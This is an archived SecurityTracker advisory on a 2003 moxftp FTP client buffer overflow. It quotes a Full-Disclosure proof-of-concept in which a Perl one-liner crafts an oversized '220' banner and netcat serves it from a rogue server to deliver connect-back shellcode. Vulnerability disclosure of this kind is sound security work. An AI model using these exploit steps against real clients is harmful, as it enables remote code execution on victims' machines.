Moxftp Client Buffer Overflow Lets Remote Servers Execute Arbitrary Code on the Client
SecurityTracker Alert ID: 1006156|
SecurityTracker URL: http://securitytracker.com/id/1006156
(Links to External Site)
Updated: Jun 13 2008|
Original Entry Date: Feb 23 2003
Execution of arbitrary code via network, User access via network|
Exploit Included: Yes |
A buffer overflow vulnerability was reported in the moxftp FTP client. A remote FTP server can execute arbitrary code on the client when the client connects to the malicious server.|
It is reported that a malicious remote server can supply a specially crafted '220' banner to the client to trigger a buffer overflow. The following format can be used, according to the report:
[508 bytes][ebp ][eip ][nops][shellcode]
A remote server can execute arbitrary code on the client when the client connects to the server.|
No solution was available at the time of this entry.|
|Underlying OS: Linux (Any), UNIX (Any)|
This archive entry has one or more follow-up message(s) listed below.|
Source Message Contents
Subject: [Full-Disclosure] moxftp arbitrary code execution poc/advisory|
This is a multi-part message in MIME format.
Attached document explains all.
This document is also available from http://kokanins.homepage.dk
According to the vendor moxftp is a "Ftp shell under X Window System".
Insufficient bounds checking leads to execution of arbitrary code.=20
Upon parsing the '220 welcome to server' ftp banner a buffer can be
overrun, allowing us to execute our arbitrary code. The buffer may be=20
constructed as such: [508 bytes][ebp ][eip ][nops][shellcode]. Placing=20
the nops and shellcode in the buffer before ebp seems to cause some=20
problems, luckily there's plenty of space after eip.
$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" =
x 100 . =
. "\n"' > file
# nc -l -p 21 < file
This sets up a rogue server which will overflow the buffer, and execute
the shellcode. The shellcode is connect-back to 126.96.36.199 port 10000,
replace "\xd9\x9d\x02\x24" with a suitable ip for testing.
moxftp-2.2 shipping with the FreeBSD ports system as well as from=20
various webpages per 9/2-03 is vulnerable.
VI. VENDOR FIX
VII. CVE INFORMATION
VIII. DISCLOSURE TIMELINE
Knud Erik H=F8jgaard
Full-Disclosure - We believe in it.